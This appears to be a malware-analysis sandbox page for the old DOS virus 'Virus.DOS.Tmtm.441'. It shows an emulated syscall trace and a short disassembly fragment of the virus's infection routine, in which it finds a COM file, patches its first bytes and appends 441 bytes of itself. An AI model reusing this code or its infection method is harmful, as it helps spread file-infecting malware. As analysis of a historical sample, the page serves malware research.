Sample viewer

vx.netlux.org/Virus.DOS.Tmtm.441

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:57:19.739457558Z 26 PC: 12a88 | Set disk transfer address
2018-12-17T22:57:19.741084671Z 42 PC: 12a8c | Get date 0x12a8c: mov word ptr [si + 0x2e6], 0x4d4f
0x12a92: mov byte ptr [si + 0x2e3], 0x2a
0x12a97: mov byte ptr [si + 0x2e8], 0
0x12a9c: cmp dl, 0x1f
0x12a9f: jne 0x12aa8
0x12aa1: cmp al, 0
0x12aa3: je 0x12aa8
0x12aa5: call 0x12b63
0x12aa8: mov ah, 0x4e
0x12aaa: xor cx, cx
0x12aac: mov dx, 0x2e3
0x12aaf: add dx, si
0x12ab1: int 0x21
0x12ab3: jae 0x12ab8
0x12ab5: jmp 0x12b58
0x12ab8: mov ax, word ptr [si + 0x36f]
0x12abc: cmp ax, 0xbf40
0x12abf: jne 0x12acd
0x12ac1: jmp 0x12ac4
0x12ac3: nop
2018-12-17T22:57:19.743586934Z 78 PC: 12ab3 | Find first file
2018-12-17T22:57:19.750866587Z 61 PC: 12adf | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:57:19.758583591Z 63 PC: 12b00 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T22:57:19.766503635Z 66 PC: 12b0f | Move file pointer
2018-12-17T22:57:19.767712206Z 64 PC: 12b21 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:57:19.77036547Z 66 PC: 12b30 | Move file pointer
2018-12-17T22:57:19.772026835Z 64 PC: 12b40 | Write file or device (Write 441 bytes on handle 5)
2018-12-17T22:57:19.78808246Z 87 PC: 12b50 | Get or set file date and time
2018-12-17T22:57:19.789189703Z 62 PC: 12b58 | Close file